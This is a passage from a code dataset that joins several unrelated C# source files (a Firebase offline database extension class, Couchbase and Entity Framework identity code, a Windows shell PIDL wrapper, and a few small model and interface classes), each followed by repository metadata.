name="TProperty"> Type of the property being modified</typeparam> /// <param name="db"> Database instance. </param> /// <param name="key"> Key of the root element to modify. </param> /// <param name="propertyExpression"> Expression on the root element leading to target value to modify. </param> /// <param name="value"> Value to put. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> public static void Put<T, TProperty>(this RealtimeDatabase<T> db, string key, Expression<Func<T, TProperty>> propertyExpression, TProperty value, bool syncOnline = true, int priority = 1) where T: class { db.Set(key, propertyExpression, value, syncOnline ? SyncOptions.Put : SyncOptions.None, priority); } /// <summary> /// Do a Patch for a nested property specified by <paramref name="propertyExpression"/> of an object with key <paramref name="key"/>. /// </summary> /// <typeparam name="T"> Type of the root elements. </typeparam> /// <typeparam name="TProperty"> Type of the property being modified</typeparam> /// <param name="db"> Database instance. </param> /// <param name="key"> Key of the root element to modify. </param> /// <param name="propertyExpression"> Expression on the root element leading to target value to modify. </param> /// <param name="value"> Value to patch. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> public static void Patch<T, TProperty>(this RealtimeDatabase<T> db, string key, Expression<Func<T, TProperty>> propertyExpression, TProperty value, bool syncOnline = true, int priority = 1) where T: class { db.Set(key, propertyExpression, value, syncOnline ? SyncOptions.Patch : SyncOptions.None, priority); } /// <summary> /// Delete a nested property specified by <paramref name="propertyExpression"/> of an object with key <paramref name="key"/>. This basically does a Put with null value. /// </summary> /// <typeparam name="T"> Type of the root elements. </typeparam> /// <typeparam name="TProperty"> Type of the property being modified</typeparam> /// <param name="db"> Database instance. </param> /// <param name="key"> Key of the root element to modify. </param> /// <param name="propertyExpression"> Expression on the root element leading to target value to modify. </param> /// <param name="value"> Value to put. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> public static void Delete<T, TProperty>(this RealtimeDatabase<T> db, string key, Expression<Func<T, TProperty>> propertyExpression, bool syncOnline = true, int priority = 1) where T: class where TProperty: class { db.Set(key, propertyExpression, null, syncOnline ? SyncOptions.Put : SyncOptions.None, priority); } /// <summary> /// Post a new entity into the nested dictionary specified by <paramref name="propertyExpression"/> of an object with key <paramref name="key"/>. /// The key of the new entity is automatically generated. /// </summary> /// <typeparam name="T"> Type of the root elements. </typeparam> /// <typeparam name="TSelector"> Type of the dictionary being modified</typeparam> /// <typeparam name="TProperty"> Type of the value within the dictionary being modified</typeparam> /// <param name="db"> Database instance. </param> /// <param name="key"> Key of the root element to modify. </param> /// <param name="propertyExpression"> Expression on the root element leading to target value to modify. </param> /// <param name="value"> Value to put. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> public static void Post<T, TSelector, TProperty>(this RealtimeDatabase<T> db, string key, Expression<Func<T, TSelector>> propertyExpression, TProperty value, bool syncOnline = true, int priority = 1) where T: class where TSelector: IDictionary<string, TProperty> { var nextKey = FirebaseKeyGenerator.Next(); var expression = Expression.Lambda<Func<T, TProperty>>(Expression.Call(propertyExpression.Body, typeof(TSelector).GetRuntimeMethod("get_Item", new[] { typeof(string) }), Expression.Constant(nextKey)), propertyExpression.Parameters); db.Set(key, expression, value, syncOnline ? SyncOptions.Put : SyncOptions.None, priority); } /// <summary> /// Delete an entity with key <paramref name="dictionaryKey"/> in the nested dictionary specified by <paramref name="propertyExpression"/> of an object with key <paramref name="key"/>. /// The key of the new entity is automatically generated. /// </summary> /// <typeparam name="T"> Type of the root elements. </typeparam> /// <typeparam name="TSelector"> Type of the dictionary being modified</typeparam> /// <typeparam name="TProperty"> Type of the value within the dictionary being modified</typeparam> /// <param name="db"> Database instance. </param> /// <param name="key"> Key of the root element to modify. </param> /// <param name="propertyExpression"> Expression on the root element leading to target value to modify. </param> /// <param name="dictionaryKey"> Key within the nested dictionary to delete. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> public static void Delete<T, TProperty>(this RealtimeDatabase<T> db, string key, Expression<Func<T, IDictionary<string, TProperty>>> propertyExpression, string dictionaryKey, bool syncOnline = true, int priority = 1) where T: class { var expression = Expression.Lambda<Func<T, TProperty>>(Expression.Call(propertyExpression.Body, typeof(IDictionary<string, TProperty>).GetRuntimeMethod("get_Item", new[] { typeof(string) }), Expression.Constant(dictionaryKey)), propertyExpression.Parameters); db.Set(key, expression, null, syncOnline ? SyncOptions.Put : SyncOptions.None, priority); } } }
70.260204
319
0.659865
[ "MIT" ]
Nullstr1ng/FirebaseStandard
FirebaseStandard/FirebaseStandard/Database/Offline/DatabaseExtensions.cs
13,773
C#
using System.Linq; using Couchbase.KeyValue; using Couchbase.Linq.Filters; using Couchbase.Linq.IntegrationTests.Documents; using Couchbase.Linq.Utils; namespace Couchbase.Linq.IntegrationTests { /// <summary> /// A concrete DbContext for the beer-sample example bucket. /// </summary> public class BeerSample : BucketContext { public BeerSample() : this(TestSetup.Bucket) { } public BeerSample(IBucket bucket) : base(bucket) { //Two ways of applying a filter are included in this example. //This is by implementing IDocumentFilter and then adding explicitly. //adding it to the DocumentFilterManager bucket.Cluster.ClusterServices.GetRequiredService<DocumentFilterManager>().SetFilter(new BreweryFilter()); } public IQueryable<BeerFiltered> Beers { //This is an example of adding a filter declaratively by using an atribute //to your document. If you check out BeerFiltered clas you will see the DocumentTypeFilter //has been added to the class definition. get { return Query<BeerFiltered>(); } } public IQueryable<Brewery> Breweries { get { return Query<Brewery>(); } } } } #region [ License information ] /* ************************************************************ * * @author Couchbase <info@couchbase.com> * @copyright 2015 Couchbase, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * ************************************************************/ #endregion
33.045455
118
0.618982
[ "Apache-2.0" ]
mojio/Linq2Couchbase
Src/Couchbase.Linq.IntegrationTests/BeerSample.cs
2,183
C#
using System; using System.Collections.Generic; using System.Globalization; using System.Windows.Data; namespace BlackDesertProductionTree { public class ResultHitchary { public string URL { get; set; } public string ItemID { get; set; } public string ItemName { get; set; } public string OriginalItemName { get { return ItemName.Replace("或", ""); } } public string ItemCount { get; set; } public string ItemTimeCost { get; set; } public string ItemSkillRequire { get; set; } public IEnumerable<ResultHitchary> Children { get; set; } public ResultHitchary() { URL = ""; ItemName = ""; ItemCount = ""; Children = null; } public ResultHitchary(string id, string Url, string itemName, string itemCount) { ItemID = id; URL = Url; ItemName = itemName; ItemCount = itemCount; } public ResultHitchary(string id, string Url, string itemName, string itemCount, string timecost , string skillreq) { ItemID = id; URL = Url; ItemName = itemName; ItemCount = itemCount; ItemTimeCost = timecost; ItemSkillRequire = skillreq; } public ResultHitchary(string id, string Url, string itemName, string itemCount, IEnumerable<ResultHitchary> child) { ItemID = id; URL = Url; ItemName = itemName; ItemCount = itemCount; Children = child; } } }
28.87931
122
0.545672
[ "MPL-2.0", "MPL-2.0-no-copyleft-exception" ]
mingl0280/BlackDesertProductionChain
BlackDesertProductionTree/ResultHitchary.cs
1,679
C#
using System; namespace Dummy { /// <summary> /// dummy /// </summary> public class DummyClass { /// <summary> /// dummy <c>test</c> /// linebreak /// <code> /// example /// yep /// </code> /// </summary> /// <typeparam name="T"></typeparam> /// <remarks> /// pouet /// </remarks> public class DummyNested<T> { /// <summary> /// dummy /// </summary> public event Action<T> Action; } /// <summary> /// dummy /// </summary> public int DummyField; /// <summary> /// dummy /// </summary> public int DummyProperty { get; } /// <summary> /// dummy /// </summary> /// <param name="index"></param> /// <returns></returns> public int this[int index] { get => index; } /// <summary> /// dummy /// </summary> public DummyClass() { } /// <summary> /// dummy /// </summary> /// <param name="pouet">kikoo</param> /// <typeparam name="T2">lol</typeparam> public void DummyMethod<T2>(T2 pouet) { var t = this; t += 0; } /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static DummyClass operator +(DummyClass a, int b) => a; /// <summary> /// dummy /// </summary> /// <param name="c"></param> public static implicit operator int(DummyClass c) => 0; /// <summary> /// dummy /// </summary> /// <param name="c"></param> public static explicit operator double(DummyClass c) => 0; /// <summary> /// /// </summary> /// <param name="c"></param> public static explicit operator DummyClass(int c) => null; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator ==(DummyClass a, DummyClass b) => true; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator !=(DummyClass a, DummyClass b) => false; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator -(DummyClass a, DummyClass b) => true; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator *(DummyClass a, DummyClass b) => true; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator /(DummyClass a, DummyClass b) => true; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator &(DummyClass a, DummyClass b) => true; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator |(DummyClass a, DummyClass b) => true; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <returns>dummy</returns> public static bool operator ~(DummyClass a) => true; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator ^(DummyClass a, DummyClass b) => true; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <returns>dummy</returns> public static DummyClass operator ++(DummyClass a) => a; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <returns>dummy</returns> public static DummyClass operator --(DummyClass a) => a; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator <(DummyClass a, DummyClass b) => false; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator >(DummyClass a, DummyClass b) => false; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator <=(DummyClass a, DummyClass b) => false; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator >=(DummyClass a, DummyClass b) => false; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <returns>dummy</returns> public static DummyClass operator -(DummyClass a) => a; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <returns>dummy</returns> public static DummyClass operator +(DummyClass a) => a; /// <summary> /// dummy /// </summary> /// <param name="a">dummy</param> /// <param name="b">dummy</param> /// <returns>dummy</returns> public static bool operator %(DummyClass a, DummyClass b) => false; } }
28.232759
76
0.466565
[ "MIT" ]
postliminary/DefaultDocumentation
source/Dummy/DummyClass.cs
6,552
C#
using System; using System.Collections.Generic; namespace Myra.Samples.SplitPaneContainer { internal class Program { public static void Main(string[] args) { using (var game = new SplitPaneGame()) game.Run(); } } }
20.428571
50
0.56993
[ "MIT" ]
AtomicBlom/Myra
samples/Myra.Samples.SplitPaneContainer/Program.cs
288
C#
/* Yet Another Forum.NET * Copyright (C) 2003-2005 Bjørnar Henden * Copyright (C) 2006-2013 Jaben Cargman * Copyright (C) 2014-2020 Ingo Herbote * https://www.yetanotherforum.net/ * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * https://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ namespace YAF.Types.Interfaces { using System; using System.Collections.Generic; using System.Net.Mail; public interface ISendMail { #region Public Methods and Operators /// <summary> /// Sends all MailMessages via the SmtpClient. Doesn't handle any exceptions. /// </summary> /// <param name="messages"> /// The messages. /// </param> void SendAll([NotNull] IEnumerable<MailMessage> messages, [CanBeNull] Action<MailMessage, Exception> handleException = null); #endregion } }
35.911111
134
0.681312
[ "Apache-2.0" ]
Pathfinder-Fr/YAFNET
yafsrc/YAF.Types/Interfaces/ISendMail.cs
1,573
C#
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("PrimeFactors")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("PrimeFactors")] [assembly: AssemblyCopyright("Copyright © 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("2c61d2e8-793b-476b-9ac5-72c6f46c4368")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
38.594595
85
0.728992
[ "MIT" ]
PacktPublishing/The-Modern-CSharp-Challenge
Chapter01/PrimeFactors/Properties/AssemblyInfo.cs
1,431
C#
using System; using System.Runtime.InteropServices; namespace starshipxac.Shell.Interop { /// <summary> /// <c>PIDL</c>を定義します。 /// </summary> [StructLayout(LayoutKind.Sequential)] internal struct PIDL { public PIDL(IntPtr pidl) : this() { this.Value = pidl; } public static PIDL FromParsingName(string parsingName) { IntPtr pidl; UInt32 sfgao; var code = ShellNativeMethods.SHParseDisplayName(parsingName, IntPtr.Zero, out pidl, 0, out sfgao); return HRESULT.Succeeded(code) ? new PIDL(pidl) : Null; } internal static PIDL FromShellItem(IShellItem2 shellItem) { var unknown = Marshal.GetIUnknownForObject(shellItem); return FromUnknown(unknown); } internal static PIDL FromUnknown(IntPtr unknown) { IntPtr pidl; var code = ShellNativeMethods.SHGetIDListFromObject(unknown, out pidl); return HRESULT.Succeeded(code) ? new PIDL(pidl) : Null; } public static readonly PIDL Null = (PIDL)IntPtr.Zero; public IntPtr Value { get; } public bool IsNull => this.Value == IntPtr.Zero; public static explicit operator PIDL(IntPtr pidl) { return new PIDL(pidl); } public static implicit operator IntPtr(PIDL pidl) { return pidl.Value; } public static bool operator ==(PIDL x, PIDL y) { return x.Value == y.Value; } public static bool operator !=(PIDL x, PIDL y) { return !(x == y); } public static bool operator ==(PIDL x, IntPtr y) { return x.Value == y; } public static bool operator !=(PIDL x, IntPtr y) { return !(x == y); } public static bool operator ==(IntPtr x, PIDL y) { return x == y.Value; } public static bool operator !=(IntPtr x, PIDL y) { return !(x == y); } public T MarshalAs<T>() { return (T)Marshal.PtrToStructure(this.Value, typeof(T)); } public void Free() { ShellNativeMethods.ILFree(this.Value); } public override bool Equals(object obj) { if (obj != null) { if (obj is PIDL) { return this.Value == ((PIDL)obj).Value; } if (obj is IntPtr) { return this.Value == (IntPtr)obj; } } return false; } public override int GetHashCode() { return this.Value.GetHashCode(); } public override string ToString() { return $"{this.Value}"; } } }
25.669421
112
0.476175
[ "MIT" ]
rasmus-z/starshipxac.ShellLibrary
Source/starshipxac.Shell/Interop/PIDL.cs
3,122
C#
// Copyright (c) 2014 Thong Nguyen (tumtumtum@gmail.com) using System; namespace Platform { /// <summary> /// An enumeration of directions. North is equivalent to Top /// and Left is equivalent to West. /// </summary> [Flags] public enum Direction { None = 0, North = 1, South = 2, West = 4, East = 8, Top = 1, Bottom = 2, Left = 4, Right = 8 } }
16
63
0.5725
[ "BSD-3-Clause" ]
platformdotnet/Platform
src/Platform/Direction.cs
400
C#
using FluffySpoon.Automation.Web.Dom; namespace FluffySpoon.Automation.Web.Fluent.Targets.At { public interface IDomElementAtTargetMethodChainNode<out TCurrentMethodChainNode, out TNextMethodChainNode> : ITargetMethodChainNode<TCurrentMethodChainNode, TNextMethodChainNode> where TNextMethodChainNode : IBaseMethodChainNode where TCurrentMethodChainNode : IBaseMethodChainNode { TNextMethodChainNode At(string selector); TNextMethodChainNode At(IDomElement element); } }
37.538462
180
0.844262
[ "MIT" ]
ffMathy/FluffySpoon.Automation
src/FluffySpoon.Automation.Web/Fluent/Targets/At/IDomElementAtTargetMethodChainNode.cs
490
C#
// <auto-generated /> using System; using SecurWebApp.Data; using Microsoft.EntityFrameworkCore; using Microsoft.EntityFrameworkCore.Infrastructure; using Microsoft.EntityFrameworkCore.Migrations; using Microsoft.EntityFrameworkCore.Storage.ValueConversion; namespace SecurWebApp.Data.Migrations { [DbContext(typeof(ApplicationDbContext))] [Migration("00000000000000_CreateIdentitySchema")] partial class CreateIdentitySchema { protected override void BuildTargetModel(ModelBuilder modelBuilder) { #pragma warning disable 612, 618 modelBuilder .HasAnnotation("ProductVersion", "3.0.0"); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRole", b => { b.Property<string>("Id") .HasColumnType("TEXT"); b.Property<string>("ConcurrencyStamp") .IsConcurrencyToken() .HasColumnType("TEXT"); b.Property<string>("Name") .HasColumnType("TEXT") .HasMaxLength(256); b.Property<string>("NormalizedName") .HasColumnType("TEXT") .HasMaxLength(256); b.HasKey("Id"); b.HasIndex("NormalizedName") .IsUnique() .HasName("RoleNameIndex"); b.ToTable("AspNetRoles"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRoleClaim<string>", b => { b.Property<int>("Id") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<string>("ClaimType") .HasColumnType("TEXT"); b.Property<string>("ClaimValue") .HasColumnType("TEXT"); b.Property<string>("RoleId") .IsRequired() .HasColumnType("TEXT"); b.HasKey("Id"); b.HasIndex("RoleId"); b.ToTable("AspNetRoleClaims"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUser", b => { b.Property<string>("Id") .HasColumnType("TEXT"); b.Property<int>("AccessFailedCount") .HasColumnType("INTEGER"); b.Property<string>("ConcurrencyStamp") .IsConcurrencyToken() .HasColumnType("TEXT"); b.Property<string>("Email") .HasColumnType("TEXT") .HasMaxLength(256); b.Property<bool>("EmailConfirmed") .HasColumnType("INTEGER"); b.Property<bool>("LockoutEnabled") .HasColumnType("INTEGER"); b.Property<DateTimeOffset?>("LockoutEnd") .HasColumnType("TEXT"); b.Property<string>("NormalizedEmail") .HasColumnType("TEXT") .HasMaxLength(256); b.Property<string>("NormalizedUserName") .HasColumnType("TEXT") .HasMaxLength(256); b.Property<string>("PasswordHash") .HasColumnType("TEXT"); b.Property<string>("PhoneNumber") .HasColumnType("TEXT"); b.Property<bool>("PhoneNumberConfirmed") .HasColumnType("INTEGER"); b.Property<string>("SecurityStamp") .HasColumnType("TEXT"); b.Property<bool>("TwoFactorEnabled") .HasColumnType("INTEGER"); b.Property<string>("UserName") .HasColumnType("TEXT") .HasMaxLength(256); b.HasKey("Id"); b.HasIndex("NormalizedEmail") .HasName("EmailIndex"); b.HasIndex("NormalizedUserName") .IsUnique() .HasName("UserNameIndex"); b.ToTable("AspNetUsers"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserClaim<string>", b => { b.Property<int>("Id") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<string>("ClaimType") .HasColumnType("TEXT"); b.Property<string>("ClaimValue") .HasColumnType("TEXT"); b.Property<string>("UserId") .IsRequired() .HasColumnType("TEXT"); b.HasKey("Id"); b.HasIndex("UserId"); b.ToTable("AspNetUserClaims"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserLogin<string>", b => { b.Property<string>("LoginProvider") .HasColumnType("TEXT") .HasMaxLength(128); b.Property<string>("ProviderKey") .HasColumnType("TEXT") .HasMaxLength(128); b.Property<string>("ProviderDisplayName") .HasColumnType("TEXT"); b.Property<string>("UserId") .IsRequired() .HasColumnType("TEXT"); b.HasKey("LoginProvider", "ProviderKey"); b.HasIndex("UserId"); b.ToTable("AspNetUserLogins"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserRole<string>", b => { b.Property<string>("UserId") .HasColumnType("TEXT"); b.Property<string>("RoleId") .HasColumnType("TEXT"); b.HasKey("UserId", "RoleId"); b.HasIndex("RoleId"); b.ToTable("AspNetUserRoles"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserToken<string>", b => { b.Property<string>("UserId") .HasColumnType("TEXT"); b.Property<string>("LoginProvider") .HasColumnType("TEXT") .HasMaxLength(128); b.Property<string>("Name") .HasColumnType("TEXT") .HasMaxLength(128); b.Property<string>("Value") .HasColumnType("TEXT"); b.HasKey("UserId", "LoginProvider", "Name"); b.ToTable("AspNetUserTokens"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRoleClaim<string>", b => { b.HasOne("Microsoft.AspNetCore.Identity.IdentityRole", null) .WithMany() .HasForeignKey("RoleId") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserClaim<string>", b => { b.HasOne("Microsoft.AspNetCore.Identity.IdentityUser", null) .WithMany() .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserLogin<string>", b => { b.HasOne("Microsoft.AspNetCore.Identity.IdentityUser", null) .WithMany() .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserRole<string>", b => { b.HasOne("Microsoft.AspNetCore.Identity.IdentityRole", null) .WithMany() .HasForeignKey("RoleId") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.HasOne("Microsoft.AspNetCore.Identity.IdentityUser", null) .WithMany() .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserToken<string>", b => { b.HasOne("Microsoft.AspNetCore.Identity.IdentityUser", null) .WithMany() .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); }); #pragma warning restore 612, 618 } } }
32.937269
95
0.484203
[ "Unlicense", "MIT" ]
Rubix982/Secur
SecurWebApp/Data/Migrations/00000000000000_CreateIdentitySchema.Designer.cs
8,926
C#
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // <auto-generated/> #nullable disable using System; namespace Azure.Search.Models { internal static class SearchModeExtensions { public static string ToSerialString(this SearchMode value) => value switch { SearchMode.Any => "any", SearchMode.All => "all", SearchMode.AnalyzingInfixMatching => "analyzingInfixMatching", _ => throw new ArgumentOutOfRangeException(nameof(value), value, "Unknown SearchMode value.") }; public static SearchMode ToSearchMode(this string value) { if (string.Equals(value, "any", StringComparison.InvariantCultureIgnoreCase)) return SearchMode.Any; if (string.Equals(value, "all", StringComparison.InvariantCultureIgnoreCase)) return SearchMode.All; if (string.Equals(value, "analyzingInfixMatching", StringComparison.InvariantCultureIgnoreCase)) return SearchMode.AnalyzingInfixMatching; throw new ArgumentOutOfRangeException(nameof(value), value, "Unknown SearchMode value."); } } }
37.741935
150
0.690598
[ "MIT" ]
manish1604/azure-sdk-for-net
sdk/search/Azure.Search/src/Generated/Models/SearchMode.Serialization.cs
1,170
C#
using System; using System.Collections.Generic; using System.Text; namespace AvaExt.Manual.Table { public class TableFIRM { public const String TABLE_RECORD_ID = "L_CAPIFIRMSEQ"; public const String TABLE = "T_FIRM"; public const String LOGICALREF = "LOGICALREF"; // int 4 public const String NR = "NR"; // smallint 2 public const String NAME = "NAME"; // varchar 31 public const String TITLE = "TITLE"; // varchar 51 public const String STREET = "STREET"; // varchar 21 public const String ROAD = "ROAD"; // varchar 21 public const String DOORNR = "DOORNR"; // varchar 21 public const String DISTRICT = "DISTRICT"; // varchar 21 public const String CITY = "CITY"; // varchar 21 public const String COUNTRY = "COUNTRY"; // varchar 21 public const String ZIPCODE = "ZIPCODE"; // varchar 11 public const String PHONE1 = "PHONE1"; // varchar 16 public const String PHONE2 = "PHONE2"; // varchar 16 public const String FAX = "FAX"; // varchar 16 public const String TAXOFF = "TAXOFF"; // varchar 21 public const String TAXNR = "TAXNR"; // varchar 21 public const String SECURNR = "SECURNR"; // varchar 51 public const String DIRECT = "DIRECT"; // varchar 81 public const String CPANAME = "CPANAME"; // varchar 31 public const String CPASTREET = "CPASTREET"; // varchar 21 public const String CPAROAD = "CPAROAD"; // varchar 21 public const String CPADOORNR = "CPADOORNR"; // varchar 21 public const String CPADISTRICT = "CPADISTRICT"; // varchar 21 public const String CPACITY = "CPACITY"; // varchar 21 public const String CPAPHONE = "CPAPHONE"; // varchar 16 public const String CPATAXOFF = "CPATAXOFF"; // varchar 21 public const String CPATAXNR = "CPATAXNR"; // varchar 21 public const String CPACHAMBNR = "CPACHAMBNR"; // varchar 21 public const String BEGMON = "BEGMON"; // smallint 2 public const String BEGDAY = "BEGDAY"; // smallint 2 public const String USEREXT = "USEREXT"; // int 4 public const String PERNR = "PERNR"; // smallint 2 public const String COUNTOFLEG = "COUNTOFLEG"; // smallint 2 public const String CTABLE = "CTABLE"; // varchar 31 public const String WORKDAYFLGS1 = "WORKDAYFLGS1"; // smallint 2 public const String WORKDAYFLGS2 = "WORKDAYFLGS2"; // smallint 2 public const String WORKDAYFLGS3 = "WORKDAYFLGS3"; // smallint 2 public const String WORKDAYFLGS4 = "WORKDAYFLGS4"; // smallint 2 public const String WORKDAYFLGS5 = "WORKDAYFLGS5"; // smallint 2 public const String WORKDAYFLGS6 = "WORKDAYFLGS6"; // smallint 2 public const String WORKDAYFLGS7 = "WORKDAYFLGS7"; // smallint 2 public const String LOCALCTYP = "LOCALCTYP"; // smallint 2 public const String FIRMREPCURR = "FIRMREPCURR"; // smallint 2 public const String SEPEXCHTABLE = "SEPEXCHTABLE"; // smallint 2 public const String VATROUNDMTD = "VATROUNDMTD"; // smallint 2 public const String FIRMEUVATNUMBER = "FIRMEUVATNUMBER"; // varchar 21 public const String MAJVERSNR = "MAJVERSNR"; // smallint 2 public const String MINVERSNR = "MINVERSNR"; // smallint 2 public const String RELVERSNR = "RELVERSNR"; // smallint 2 public const String SITEID = "SITEID"; // smallint 2 public const String ORGCHART = "ORGCHART"; // int 4 public const String LOCALCALDR = "LOCALCALDR"; // smallint 2 public const String FIRMLANG = "FIRMLANG"; // smallint 2 public const String TAXOFFCODE = "TAXOFFCODE"; // varchar 17 public const String CNTRYCODE = "CNTRYCODE"; // varchar 5 public const String LONGPERIODS = "LONGPERIODS"; // smallint 2 public const String LOGOID = "LOGOID"; // varchar 25 public const String EMAILADDR = "EMAILADDR"; // varchar 31 public const String WEBADDR = "WEBADDR"; // varchar 41 public const String MODDATE = "MODDATE"; // datetime 8 public const String MODTIME = "MODTIME"; // int 4 public const String TRADEREGISNO = "TRADEREGISNO"; // varchar 21 public const String EMPLOYERNAME = "EMPLOYERNAME"; // varchar 21 public const String EMPLOYERSURNAME = "EMPLOYERSURNAME"; // varchar 21 public const String EMPLOYERIDTCNO = "EMPLOYERIDTCNO"; // varchar 21 public const String EMPLOYEREMAIL = "EMPLOYEREMAIL"; // varchar 51 public const String FIRMYTLSTATUS = "FIRMYTLSTATUS"; // smallint 2 public const String YTLSOURCEFIRM = "YTLSOURCEFIRM"; // smallint 2 public const String ZUSATZNO = "ZUSATZNO"; // varchar 4 public const String TAXOFFSTATECD = "TAXOFFSTATECD"; // varchar 13 public const String TAXOFFSTATENM = "TAXOFFSTATENM"; // varchar 41 public const String STATECODE = "STATECODE"; // varchar 13 public const String STATENAME = "STATENAME"; // varchar 41 public const String CPAOCCUPATION = "CPAOCCUPATION"; // varchar 51 public const String CPAEXTENSION = "CPAEXTENSION"; // varchar 17 public const String CPAEMAIL = "CPAEMAIL"; // varchar 51 public const String CPASURNAME = "CPASURNAME"; // varchar 31 public const String CPAIDTCNO = "CPAIDTCNO"; // varchar 21 public const String ACCOFFICECODE = "ACCOFFICECODE"; // varchar 17 public const String ADVANCEDPRODUCT = "ADVANCEDPRODUCT"; // smallint 2 public const String BAGKURNR = "BAGKURNR"; // varchar 11 } }
59.864583
79
0.645554
[ "MIT" ]
rualb/ava-agent-xamarin
AvaExt/Manual/Table/TableFIRM.cs
5,747
C#
using BookStore.API.Models; using Microsoft.AspNetCore.Identity; using System.Threading.Tasks; namespace BookStore.API.Repository { public interface IAccountRepository { Task<IdentityResult> SignUpAsync(SignUpModel signUpModel); Task<string> LoginAsync(SignInModel signInModel); } }
25
67
0.729231
[ "MIT" ]
AmareshSahoo/asp-net-core-web-api
BookStore/BookStore.API/BookStore.API/Repository/IAccountRepository.cs
327
C#
